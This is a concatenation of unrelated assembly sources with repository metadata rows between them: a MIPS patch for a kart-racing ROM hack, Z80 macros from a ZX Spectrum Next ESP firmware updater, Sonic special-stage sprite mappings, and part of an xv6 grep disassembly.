scope PlayerItems: {
addiu sp, -0x18
sw ra, 0x14 (sp)
LuiLb(t0, Options+11)
OriBeq(t0, 0x01, t1, End) // Skip if option disabled
Enabled:
SltiBeq(t0, 0x0A, t1, End) // If option enabled
addiu a0, t0, -0x02 // Set player
End:
jal 0x8007ADA8 // Original instruction
nop
lw ra, 0x14 (sp)
jr ra
addiu sp, 0x18
}
// Character Stats
// Runs once before a race
// Available registers: all
scope CharacterStats: {
addiu sp, -0x18
sw ra, 0x14 (sp)
jal 0x800010CC // Original instruction
nop
LuiLb(t0, Options+12)
Disabled:
OriBne(t0, 0x01, t1, Yoshi) // If option disabled
la a0, 0x800E2360 // Destination
li a1, 0x0E2F60 // Source
li a2, 0x14B0 // Size
jal DmaCopy // DMA copy default stats
nop
b End
nop
Yoshi:
OriBne(t0, 0x02, t1, End) // Else if option set to all Yoshi
li a0, YoshiMain // Source
la a1, 0x800E2360 // Destination
li a2, 0x14B0 // Size
jal BCopy // Copy Yoshi main stats
nop
li a0, YoshiWeight // Source
la a1, 0x802B8790 // Destination
li a2, 0x20 // Size
jal BCopy // Copy Yoshi weight stats
nop
End:
lw ra, 0x14 (sp)
jr ra
addiu sp, 0x18
}
// Lap Fix
// Runs once when a racer crosses the finish line in the opposite direction
// Available registers: all except t3
// Returns: t4
scope LapFix: {
addiu sp, -0x18
sw ra, 0x14 (sp)
Lap3:
OriBne(t3, 0x03, t0, DecrementLap) // If lap == 3
b End // Skip
nop
DecrementLap:
addiu t4, t3, -0x01 // Else decrement lap
sw t4, 0 (v0)
End:
jal 0x80008F38 // Original instruction
nop
lw ra, 0x14 (sp)
jr ra
addiu sp, 0x18
}
// Versus Scores
// Runs every frame on the 3p/4p versus results screen
// Available registers: all
scope VersusScores: {
addiu sp, -0x28
sw ra, 0x1C (sp)
sw a0, 0 (sp)
sw a1, 0x04 (sp)
sw a2, 0x08 (sp)
jal 0x800A6E94 // Original instruction
nop
LuiLb(t0, Options+13)
OriBeq(t0, 0x01, t1, End) // Skip if option disabled
Enabled:
ori a0, r0, 0x03 // Color = yellow
jal SetTextColor
nop
lw t0, 0 (sp)
lw t1, 0x04 (sp)
lw t2, 0x08 (sp)
sll t3, t1, 0x1
addu t3, t1
addu t2, t2, t3
addiu a1, sp, 0x20 // Pointer to buffer
ori a2, r0, 0x08 // Buffer size = 8
Score3p:
OriBne(t0, 0x03, t3, Score4p) // If players == 3
lbu t3, 0 (t2)
sll t4, t3, 0x1 // 2 points for first
lbu t3, 0x01 (t2)
addu a0, t4, t3 // 1 point for second
jal IntToAscii
nop
lw t0, 0x04 (sp)
ori t1, r0, 0x4E
multu t0, t1
mflo t1
ori a0, r0, 0x34
addu a0, a0, t1 // X coordinate
b ScorePrint
nop
Score4p:
OriBne(t0, 0x04, t3, End) // Else if players == 4
lbu t3, 0 (t2)
sll t4, t3, 0x1
addu t5, t4, t3 // 3 points for first
lbu t3, 0x01 (t2)
sll t4, t3, 0x1 // 2 points for second
addu t5, t4
lbu t3, 0x02 (t2)
addu a0, t5, t3 // 1 point for third
jal IntToAscii
nop
lw t0, 0x04 (sp)
ori t1, r0, 0x45
multu t0, t1
mflo t1
ori a0, r0, 0x1A
addu a0, a0, t1 // X coordinate
ScorePrint:
ori a1, r0, 0x20 // Y coordinate
or a2, r0, v0 // Pointer to string
or a3, r0, r0 // Spacing = 0
li t0, 0x3F4CCCCD
sw t0, 0x10 (sp) // X Scale = 0.8
sw t0, 0x14 (sp) // Y Scale = 0.8
jal PrintText2Cord
nop
End:
lw ra, 0x1C (sp)
jr ra
addiu sp, 0x28
}
// a0 = Integer
// a1 = Pointer to buffer
// a2 = Buffer size
// v0 = Pointer to first digit in buffer
scope IntToAscii: {
addiu a3, r0, 0xa
addiu t8, a1, -0x01
addu t6, a1, a2
addiu t6, -0x02
sb r0, 0x01 (t6)
Loop:
divu a0, a3
mfhi t7
mflo a0
addiu t7, t7, 0x30
beq a0, r0, End
sb t7, 0 (t6)
addiu t6, t6, -0x01
bne t6, t8, Loop
nop
End:
jr ra
addu v0, t6, r0
}
// Versus All Cups Menu
// Runs every frame on the versus and battle results screens
// Available registers: all
// Returns: s2
scope VersusAllCupsMenu: {
LuiLb(t0, Options+8)
Enabled:
OriBne(t0, 0x02, t1, Disabled) // If option enabled
LuiLw(t0, ModeSelection)
OriBne(t0, 0x02, t1, Disabled) // If mode == Versus
LuiLb(t0, CupSelection)
sll t0, t0, 0x02
LuiLb(t1, CourseSelection2)
addu t1, t0
ori t2, r0, 0x14
multu t1, t2
mflo t1
la t0, Option1
addu t0, t1
la t1, Strings
sw t0, 4 (t1)
la s2, Strings
b End
nop
Disabled:
addiu s2, 0x775C // Else original instruction
End:
jr ra
nop
Strings:
dd 0x00000000
dd 0x00000000
dd Option2
dd Option3
dd Option4
Option1:
AsciizAlign("CONTINUE TO MMF", 0x14)
AsciizAlign("CONTINUE TO KTB", 0x14)
AsciizAlign("CONTINUE TO KD", 0x14)
AsciizAlign("CONTINUE TO TT", 0x14)
AsciizAlign("CONTINUE TO FS", 0x14)
AsciizAlign("CONTINUE TO CM", 0x14)
AsciizAlign("CONTINUE TO MR", 0x14)
AsciizAlign("CONTINUE TO WS", 0x14)
AsciizAlign("CONTINUE TO SL", 0x14)
AsciizAlign("CONTINUE TO RRY", 0x14)
AsciizAlign("CONTINUE TO BC", 0x14)
AsciizAlign("CONTINUE TO DKJP", 0x14)
AsciizAlign("CONTINUE TO YV", 0x14)
AsciizAlign("CONTINUE TO BB", 0x14)
AsciizAlign("CONTINUE TO RRD", 0x14)
AsciizAlign("CONTINUE TO LR", 0x14)
Option2:
Asciiz("COURSE CHANGE")
Option3:
Asciiz("DRIVER CHANGE")
Option4:
Asciiz("RETRY")
Align(4)
}
// Runs when an option is selected on the versus and battle results screens
// Available registers: all
scope VersusAllCupsMenu2: {
LuiLb(t0, Options+8)
Enabled:
OriBne(t0, 0x02, t1, Disabled) // If option enabled
LuiLw(t0, ModeSelection)
OriBne(t0, 0x02, t1, Disabled) // If mode == Versus
lw v1, 0x04 (v0)
OriBeq(v1, 0x0A, at, Option1)
OriBeq(v1, 0x0B, at, Option2)
OriBeq(v1, 0x0C, at, Option3)
OriBeq(v1, 0x0D, at, Option4)
Option1:
LuiLh(t0, CourseSelection1)
RainbowRoad:
OriBne(t0, 0x0D, t1, Lookup) // If course == Rainbow Road
ori t0, r0, 0x08 // Course = Luigi Raceway
LuiSh(t0, CourseSelection1, t1) // Reset course
LuiSb(r0, CupSelection, t1) // Reset cup
LuiSb(r0, CourseSelection2, t1) // Reset course
j 0x8009CF94 // Retry
nop
Lookup:
la t1, 0x800F2BB4 // Else increment course
Loop:
lh t2, 0 (t1)
beq t0, t2, Increment
nop
addiu t1, 0x02
b Loop
nop
Increment:
lh t1, 0x02 (t1)
LuiSh(t1, CourseSelection1, t0) // Increment course
IncrementCup:
LuiLb(t0, CourseSelection2)
OriBne(t0, 0x03, t1, IncrementCourse) // If course == 3
LuiLb(t0, CupSelection)
addiu t0, 0x01 // Increment cup
LuiSb(t0, CupSelection, t1)
LuiSb(r0, CourseSelection2, t1) // Reset course
j 0x8009CF94 // Retry
nop
IncrementCourse:
LuiLb(t0, CourseSelection2)
addiu t0, 0x01 // Else increment course
LuiSb(t0, CourseSelection2, t1)
j 0x8009CF94 // Retry
nop
Option2:
j 0x8009CFA4 // Course change
nop
Option3:
j 0x8009CFB4 // Driver change
nop
Option4:
j 0x8009CF94 // Retry
nop
Disabled:
lw v1, 0x04 (v0) // Else original instruction
End:
j 0x8009CF6C
nop
}
// Character Stats
include "stats_yoshi.asm"
fill 0xC00000 - origin() // Zero fill remainder of ROM
// Same Character
origin 0x0B4524
base 0x800B3924
nop
origin 0x0B45A4
base 0x800B39A4
nop
origin 0x0B4638
base 0x800B3A38
j SameCharacter
// Random Tracks
origin 0x0B4B64
base 0x800B3F64
nop
nop
j RandomTracks
// Scaling Fix
origin 0x0021C4
base 0x800015C4
jal ScalingFix1p
nop
origin 0x002638
base 0x80001A38
jal ScalingFix2p
nop
origin 0x002890
base 0x80001C90
jal ScalingFix3p
nop
origin 0x002490
base 0x80001890
jal ScalingFixPost
nop
// Widescreen
origin 0x10E07C
base 0x802A4A6C
jal Widescreen
nop
origin 0x10F048
base 0x802A5A38
jal Widescreen
nop
origin 0x10F330
base 0x802A5D20
jal Widescreen
nop
origin 0x10F628
base 0x802A6018
jal Widescreen
nop
origin 0x10F93C
base 0x802A632C
jal Widescreen
nop
origin 0x10FC50
base 0x802A6640
jal Widescreen
nop
origin 0x10FF54
base 0x802A6944
jal Widescreen
nop
origin 0x110238
base 0x802A6C28
jal Widescreen
nop
origin 0x11051C
base 0x802A6F0C
jal Widescreen
nop
origin 0x11084C
base 0x802A723C
jal Widescreen
nop
// Skip Trophy Ceremony
origin 0x0F79E4
base 0x8028E3D4
j SkipTrophy
// Multiplayer Music
origin 0x0F82A8
base 0x8028EC98
j MultiplayerMusic
nop
origin 0x0F8FD0
base 0x8028F9C0
jal MultiplayerMusicL
nop
// Multiplayer KD Train
origin 0x01354C
base 0x8001294C
jal MultiplayerTrain
nop
// Multiplayer DKJP Boat
origin 0x013F4C
base 0x8001334C
j MultiplayerBoat
// Versus All Cups
origin 0x09DBA4
base 0x8009CFA4
jal VersusAllCups
nop
// Versus Timer
origin 0x05067C
base 0x8004FA7C
j VersusTimer
nop
// Gold Mushroom
origin 0x11C680
base 0x802B3070
nop
nop
j GoldMushroom
// Items
origin 0x07BB60
base 0x8007AF60
jal PlayerItems
// Character Stats
origin 0x003314
base 0x80002714
jal CharacterStats
nop
// Lap Fix
origin 0x00A2A8
base 0x800096A8
nop
jal LapFix
nop
// Versus Scores
origin 0xA7864
base 0x800A6C64
jal VersusScores
origin 0x0A7938
base 0x800A6D38
jal VersusScores
// Versus All Cups Menu
origin 0x0A7220
base 0x800A6620
jal VersusAllCupsMenu
origin 0x09DB64
base 0x8009CF64
j VersusAllCupsMenu2
| 21.826955 | 85 | 0.657989 |
701d64b99e6a874b3c491d21d6a1a559ecff874a | 15,809 | asm | Assembly | src/asm/macros.asm | Threetwosevensixseven/espupdate | abdaf918a07db37d8e6e610bc81211943ec3bb15 | [
"Apache-2.0"
] | 8 | 2020-01-30T18:36:42.000Z | 2021-10-30T17:15:28.000Z | src/asm/macros.asm | Threetwosevensixseven/espupdate | abdaf918a07db37d8e6e610bc81211943ec3bb15 | [
"Apache-2.0"
] | null | null | null | src/asm/macros.asm | Threetwosevensixseven/espupdate | abdaf918a07db37d8e6e610bc81211943ec3bb15 | [
"Apache-2.0"
] | 1 | 2021-04-29T09:00:30.000Z | 2021-04-29T09:00:30.000Z | ; macros.asm
; Copyright 2020 Robin Verhagen-Guest
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
include "version.asm", 1 ; Auto-generated by ..\build\cspect.bat or builddot.bat. Has
; date/time and git commit counts generated by an external tool.
Border macro(Colour)
if Colour=0 ; Convenience macro to help during debugging. The dot command
xor a ; doesn't change the border colour during regular operation.
else
ld a, Colour
endif
out (ULA_PORT), a
if Colour=0
xor a
else
ld a, Colour*8
endif
ld (23624), a
mend
Freeze macro(Colour1, Colour2) ; Convenience macro to help during debugging. Alternates
Loop: Border(Colour1) ; the border rapidly between two colours. This really helps
Border(Colour2) ; to show that the machine hasn't crashed. Also it give you
jr Loop ; 8*7=56 colour combinations to use, instead of 7.
mend
MFBreak macro() ; Intended for NextZXOS NMI debugging
push af ; MF must be enabled first, by pressing M1 button
ld a, r ; then choosing Return from the NMI menu.
di
in a, ($3f)
rst 8 ; It's possible the stack will end up unbalanced
mend ; if the MF break doesn't get triggered!
CSBreak macro() ; Intended for CSpect debugging
push bc ; enabled when the -brk switch is supplied
noflow ; Mitigate the worst effect of running on real hardware
db $DD, $01 ; On real Z80 or Z80N, this does NOP:LD BC, NNNN
nop ; so we set safe values for NN
nop ; and NN,
pop bc ; then we restore the value of bc we saved earlier
mend
CSExit macro() ; Intended for CSpect debugging
noflow ; enabled when the -exit switch is supplied
db $DD, $00 ; This executes as NOP:NOP on real hardware
mend
Page16kZXBank macro(Bank, ReEnableInterrupts) ; Parameterised wrapper for doing 128K-style paging. Not used
ld a, ($5B5C) ; in regular dot command.
and $F8 ; Previous value of port
or Bank ; Select bank
ld bc, 0x7ffd
di
ld ($5B5C), a
out (c), a
if (ReEnableInterrupts)
ei
endif
mend
MirrorA macro() ; Macro for Z80N mirror a opcode
noflow
db $ED, $24
mend
CpHL macro(Register) ; Convenience wrapper to compare HL with BC or DE
or a ; Note that Zeus macros can accept register literals, so the
sbc hl, Register ; call would be CPHL(de) without enclosing quotes.
add hl, Register
mend
ErrorAlways macro(ErrAddr) ; Parameterised wrapper for unconditional custom error
ld hl, ErrAddr
jp ErrorProc
mend
ErrorIfCarry macro(ErrAddr) ; Parameterised wrapper for throwing custom esxDOS-style error
jp nc, Continue
ld hl, ErrAddr
jp ErrorProc
Continue:
mend
ErrorIfNoCarry macro(ErrAddr) ; Parameterised wrapper for throwing custom NextZXOS-style error
jp c, Continue
ld hl, ErrAddr
jp ErrorProc
Continue:
mend
ErrorIfZero macro(ErrAddr) ; Parameterised wrapper for throwing error if loop overruns
jp nz, Continue
ld hl, ErrAddr
jp ErrorProc
Continue:
mend
ErrorIfNotZero macro(ErrAddr) ; Parameterised wrapper for throwing error after comparison
jp z, Continue
ld hl, ErrAddr
jp ErrorProc
Continue:
mend
PrintMsg macro(Address) ; Parameterised wrapper for null-terminated buffer print routine
ld hl, Address
call PrintRst16
mend
PrintBufferHex macro(Addr, Len) ; Parameterised wrapper for fixed-length hex print routine
ld hl, Addr
ld de, Len
call PrintBufferHexProc
mend
SafePrintStart macro() ; Included at the start of every routine which calls rst 16
di ; Interrupts off while paging. Subsequent code will enable them.
ld (SavedStackPrint), sp ; Save current stack to be restored in SafePrintEnd()
ld sp, (Return.Stack1) ; Set stack back to what BASIC had at entry, so safe for rst 16
ld (SavedA), a
ld a, (IsNext)
or a
jr z, NotNext
nextreg $54, 4 ; Restore what BASIC is expecting to find at $8000 (16K bank 2)
nextreg $55, 5 ; Restore what BASIC is expecting to find at $A000 (16K bank 2)
nextreg $56, 0 ; Restore what BASIC is expecting to find at $C000 (16K bank 0)
nextreg $57, 1 ; Restore what BASIC is expecting to find at $E000 (16K bank 0)
NotNext: ld a, [SavedA]SMC
mend
SafePrintEnd macro() ; Included at the end of every routine which calls rst 16
di ; Interrupts off while paging. Subsequent code doesn't care.
ld (SavedA), a ; Preserve A so it's completely free of side-effects
ld a, (DeallocateBanks.Bank1) ; Read bank to restore at $8000
cp $FF ; If $FF we didn't allocate it yet,
jr z, NoBank1 ; so don't restore,
nextreg $54, a ; otherwise restore original bank at $8000.
NoBank1: ld a, (DeallocateBanks.Bank2) ; Read bank to restore at $A000
cp $FF ; If $FF we didn't allocate it yet,
jr z, NoBank2 ; so don't restore,
nextreg $55, a ; otherwise restore original bank at $A000.
NoBank2: ld a, (DeallocateBanks.Bank3) ; Read bank to restore at $C000
cp $FF ; If $FF we didn't allocate it yet,
jr z, NoBank3 ; so don't restore,
nextreg $56, a ; otherwise restore original bank at $C000.
NoBank3: ld a, (DeallocateBanks.Bank4) ; Read bank to restore at $E000
cp $FF ; If $FF we didn't allocate it yet,
jr z, NoBank4 ; so don't restore,
nextreg $57, a ; otherwise restore original bank at $E000.
NoBank4:
ld a, [SavedA]SMC ; Restore A so it's completely free of side-effects
ld sp, (SavedStackPrint) ; Restore stack to what it was before SafePrintStart()
mend
Rst8 macro(Command) ; Parameterised wrapper for esxDOS API routine
rst $08
noflow
db Command
mend
NextRegRead macro(Register) ; Nextregs have to be read through the register I/O port pair,
ld bc, $243B ; as there is no dedicated ZX80N opcode like there is for
ld a, Register ; writes.
out (c), a
inc b
in a, (c)
mend
WaitFrames macro(Frames) ; Parameterised wrapper for safe halt routine
ld bc, Frames
call WaitFramesProc
mend
FillLDIR macro(SourceAddr, Size, Value) ; Parameterised wrapper for LDIR fill
ld a, Value
ld hl, SourceAddr
ld (hl), a
ld de, SourceAddr+1
ld bc, Size-1
ldir
mend
GetSizedArg macro(ArgTailPtr, DestAddr) ; Parameterised wrapper for arg parser
ld hl, (ArgTailPtr)
ld de, DestAddr
call GetSizedArgProc
mend
SetUARTBaud macro(BaudTable, BaudMsg) ; Parameterised wrapper for UART baud setting routine
ld hl, BaudTable ; Not currently used
ld de, BaudMsg
call SetUARTBaudProc
mend
ESPSendBytes macro(BufferStart, BufferLength) ; Parameterised wrapper for ESP send routine
ld hl, BufferStart
ld de, BufferLength
call ESPSendBytesProc
mend
ESPReadReg macro(Addr32) ; Parameterised wrapper for ESP low level SLIP read routine
ld hl, Addr32 and $FFFF
ld (SLIP.ReadRegAddr), hl
ld hl, Addr32 >> 16
ld (SLIP.ReadRegAddr+2), hl
ld hl, SLIP.ReadReg
ld de, SLIP.ReadRegLen
call ESPSendBytesProc
mend
ESPValidateCmd macro(Op, ValWordAddr) ; Parameterised wrapper for ESP low level SLIP validate routine
ld a, Op
ld hl, ValWordAddr
call ESPValidateCmdProc
mend
ESPSendCmdWithData macro(Op, DataAddr, DataLen, ErrAddr) ; Parameterised wrapper for ESP low level SLIP one-shot
ld a, Op ; send data routine
ld de, DataAddr ; This can be in de because it's just as quick to pop hl later
ld hl, DataLen ; This is faster being in hl because we copy to memory
ld bc, ErrAddr ; This can be in bc because it's just as quick to pop hl later
ld ix, 0
ld (SLIP.HeaderCS), ix ; Clears the header checksum
call ESPSendCmdWithDataProc
mend
ESPSendDataBlock macro(Opcode, DataAddr, DataLen, Seq, ErrAddr) ; Parameterised wrapper for ESP low level SLIP
ld hl, DataAddr ; repeating loop routine
ld bc, DataLen
call ESPSetDataBlockProc
ld hl, DataLen
ld de, Seq
call ESPSetDataBlockHeaderProc
ld a, Opcode
ld de, DataAddr ; This can be in de because it's just as quick to pop hl later
ld hl, DataLen+16 ; This is faster being in hl because we copy to memory
ld bc, ErrAddr ; This can be in bc because it's just as quick to pop hl later
ld ix, SLIP.DataBlock
call ESPSendCmdWithDataProc
mend
ESPSendDataBlockSeq macro(Opcode, DataAddr, ErrAddr); As ESPSendDataBlock(), except:
ld hl, DataAddr
push de ; de = Seq, and
push bc ; bc = DataLen
call ESPSetDataBlockProc
pop hl ; hl = DataLen
pop de ; de = Seq
push hl ; Save DataLen again for the ESPSendCmdWithDataProc call
call ESPSetDataBlockHeaderProc
pop hl
ld de, 16
add hl, de ; hl = DataLen+16
ld a, Opcode
ld de, DataAddr
ld bc, ErrAddr
ld ix, SLIP.DataBlock
call ESPSendCmdWithDataProc
mend
SetReadTimeout macro(FramesToWait) ; Parameterised wrapper for the ESP SLIP buffer read timeout
ld hl, FramesToWait ; changing routine. Invoke RestoreReadTimeout() afterwards.
call SaveReadTimeoutProc
mend
RestoreReadTimeout macro() ; Parameterised wrapper for the ESP SLIP buffer read timeout
call RestoreReadTimeoutProc ; restoring routine. Invoke after SetReadTimeout()
mend
DisableReadValidate macro()
ld hl, ESPNoValidateCmdProc ; Parameterised wrapper for the ESP SLIP buffer read validate
ld (ESPSendCmdWithDataProc.ValidateProcSMC), hl ; disabling routine. Invoke
mend ; DisableReadValidate() afterwards.
EnableReadValidate macro()
ld hl, ESPValidateCmdProc ; Parameterised wrapper for the ESP SLIP buffer read validate
ld (ESPSendCmdWithDataProc.ValidateProcSMC), hl ; re-enabling routine. Invoke after
mend ; EnableReadValidate().
| 52.87291 | 120 | 0.457271 |
589c951aea79ff95838bc47cfe830d1b2449461c | 442 | asm | Assembly | _maps/SS R Block.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 9 | 2021-01-15T13:47:53.000Z | 2022-01-17T15:33:55.000Z | _maps/SS R Block.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 7 | 2021-01-14T02:18:48.000Z | 2021-03-24T15:44:30.000Z | _maps/SS R Block.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 2 | 2021-01-14T13:14:26.000Z | 2021-01-29T17:46:04.000Z | ; ---------------------------------------------------------------------------
; Sprite mappings - special stage "R" block
; ---------------------------------------------------------------------------
Map_SS_R_internal:
dc.w byte_1B912-Map_SS_R_internal
dc.w byte_1B918-Map_SS_R_internal
dc.w byte_1B91E-Map_SS_R_internal
byte_1B912: dc.b 1
dc.b $F4, $A, 0, 0, $F4
byte_1B918: dc.b 1
dc.b $F4, $A, 0, 9, $F4
byte_1B91E: dc.b 0
even | 34 | 77 | 0.463801 |
9bcb9285d59943d9f17a6c57f47cca770a928469 | 60,393 | asm | Assembly | grep.asm | ShwetiMahajan/xv6_schedulersOS | 35efdf3d33562ec290331a7ee246e65af19e7e2e | [
"MIT-0"
] | null | null | null | grep.asm | ShwetiMahajan/xv6_schedulersOS | 35efdf3d33562ec290331a7ee246e65af19e7e2e | [
"MIT-0"
] | null | null | null | grep.asm | ShwetiMahajan/xv6_schedulersOS | 35efdf3d33562ec290331a7ee246e65af19e7e2e | [
"MIT-0"
] | null | null | null |
_grep: file format elf32-i386
Disassembly of section .text:
00000000 <matchstar>:
return 0;
}
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 57 push %edi
4: 56 push %esi
5: 53 push %ebx
6: 83 ec 1c sub $0x1c,%esp
9: 8b 75 08 mov 0x8(%ebp),%esi
c: 8b 7d 0c mov 0xc(%ebp),%edi
f: 8b 5d 10 mov 0x10(%ebp),%ebx
12: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{ // a * matches zero or more instances
if(matchhere(re, text))
18: 89 5c 24 04 mov %ebx,0x4(%esp)
1c: 89 3c 24 mov %edi,(%esp)
1f: e8 3c 00 00 00 call 60 <matchhere>
24: 85 c0 test %eax,%eax
26: 75 20 jne 48 <matchstar+0x48>
return 1;
}while(*text!='\0' && (*text++==c || c=='.'));
28: 0f b6 03 movzbl (%ebx),%eax
2b: 84 c0 test %al,%al
2d: 74 0f je 3e <matchstar+0x3e>
2f: 0f be c0 movsbl %al,%eax
32: 83 c3 01 add $0x1,%ebx
35: 39 f0 cmp %esi,%eax
37: 74 df je 18 <matchstar+0x18>
39: 83 fe 2e cmp $0x2e,%esi
3c: 74 da je 18 <matchstar+0x18>
return 0;
}
3e: 83 c4 1c add $0x1c,%esp
int matchstar(int c, char *re, char *text)
{
do{ // a * matches zero or more instances
if(matchhere(re, text))
return 1;
}while(*text!='\0' && (*text++==c || c=='.'));
41: 31 c0 xor %eax,%eax
return 0;
}
43: 5b pop %ebx
44: 5e pop %esi
45: 5f pop %edi
46: 5d pop %ebp
47: c3 ret
48: 83 c4 1c add $0x1c,%esp
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
do{ // a * matches zero or more instances
if(matchhere(re, text))
4b: b8 01 00 00 00 mov $0x1,%eax
return 1;
}while(*text!='\0' && (*text++==c || c=='.'));
return 0;
}
50: 5b pop %ebx
51: 5e pop %esi
52: 5f pop %edi
53: 5d pop %ebp
54: c3 ret
55: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000060 <matchhere>:
return 0;
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 56 push %esi
64: 53 push %ebx
65: 83 ec 10 sub $0x10,%esp
68: 8b 55 08 mov 0x8(%ebp),%edx
6b: 8b 4d 0c mov 0xc(%ebp),%ecx
if(re[0] == '\0')
6e: 0f b6 02 movzbl (%edx),%eax
71: 84 c0 test %al,%al
73: 75 1c jne 91 <matchhere+0x31>
75: eb 51 jmp c8 <matchhere+0x68>
77: 90 nop
return 1;
if(re[1] == '*')
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
78: 0f b6 19 movzbl (%ecx),%ebx
7b: 84 db test %bl,%bl
7d: 74 39 je b8 <matchhere+0x58>
7f: 3c 2e cmp $0x2e,%al
81: 74 04 je 87 <matchhere+0x27>
83: 38 d8 cmp %bl,%al
85: 75 31 jne b8 <matchhere+0x58>
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
87: 0f b6 02 movzbl (%edx),%eax
8a: 84 c0 test %al,%al
8c: 74 3a je c8 <matchhere+0x68>
if(re[1] == '*')
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
8e: 83 c1 01 add $0x1,%ecx
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
return 1;
if(re[1] == '*')
91: 0f b6 5a 01 movzbl 0x1(%edx),%ebx
95: 8d 72 01 lea 0x1(%edx),%esi
98: 80 fb 2a cmp $0x2a,%bl
9b: 74 3b je d8 <matchhere+0x78>
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
9d: 3c 24 cmp $0x24,%al
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
return 1;
if(re[1] == '*')
return matchstar(re[0], re+2, text);
9f: 89 f2 mov %esi,%edx
if(re[0] == '$' && re[1] == '\0')
a1: 75 d5 jne 78 <matchhere+0x18>
a3: 84 db test %bl,%bl
a5: 75 d1 jne 78 <matchhere+0x18>
return *text == '\0';
a7: 31 c0 xor %eax,%eax
a9: 80 39 00 cmpb $0x0,(%ecx)
ac: 0f 94 c0 sete %al
af: eb 09 jmp ba <matchhere+0x5a>
b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
b8: 31 c0 xor %eax,%eax
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
}
ba: 83 c4 10 add $0x10,%esp
bd: 5b pop %ebx
be: 5e pop %esi
bf: 5d pop %ebp
c0: c3 ret
c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
c8: 83 c4 10 add $0x10,%esp
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
cb: b8 01 00 00 00 mov $0x1,%eax
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
}
d0: 5b pop %ebx
d1: 5e pop %esi
d2: 5d pop %ebp
d3: c3 ret
d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
return 1;
if(re[1] == '*')
return matchstar(re[0], re+2, text);
d8: 83 c2 02 add $0x2,%edx
db: 0f be c0 movsbl %al,%eax
de: 89 4c 24 08 mov %ecx,0x8(%esp)
e2: 89 54 24 04 mov %edx,0x4(%esp)
e6: 89 04 24 mov %eax,(%esp)
e9: e8 12 ff ff ff call 0 <matchstar>
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
}
ee: 83 c4 10 add $0x10,%esp
f1: 5b pop %ebx
f2: 5e pop %esi
f3: 5d pop %ebp
f4: c3 ret
f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <match>:
int matchhere(char*, char*);
int matchstar(int, char*, char*);
int
match(char *re, char *text)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 56 push %esi
104: 53 push %ebx
105: 83 ec 10 sub $0x10,%esp
108: 8b 75 08 mov 0x8(%ebp),%esi
10b: 8b 5d 0c mov 0xc(%ebp),%ebx
if(re[0] == '^')
10e: 80 3e 5e cmpb $0x5e,(%esi)
111: 75 08 jne 11b <match+0x1b>
113: eb 2f jmp 144 <match+0x44>
115: 8d 76 00 lea 0x0(%esi),%esi
return matchhere(re+1, text);
do{ // must look at empty string
if(matchhere(re, text))
return 1;
}while(*text++ != '\0');
118: 83 c3 01 add $0x1,%ebx
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
do{ // must look at empty string
if(matchhere(re, text))
11b: 89 5c 24 04 mov %ebx,0x4(%esp)
11f: 89 34 24 mov %esi,(%esp)
122: e8 39 ff ff ff call 60 <matchhere>
127: 85 c0 test %eax,%eax
129: 75 0d jne 138 <match+0x38>
return 1;
}while(*text++ != '\0');
12b: 80 3b 00 cmpb $0x0,(%ebx)
12e: 75 e8 jne 118 <match+0x18>
return 0;
}
130: 83 c4 10 add $0x10,%esp
133: 5b pop %ebx
134: 5e pop %esi
135: 5d pop %ebp
136: c3 ret
137: 90 nop
138: 83 c4 10 add $0x10,%esp
if(re[0] == '^')
return matchhere(re+1, text);
do{ // must look at empty string
if(matchhere(re, text))
return 1;
}while(*text++ != '\0');
13b: b8 01 00 00 00 mov $0x1,%eax
return 0;
}
140: 5b pop %ebx
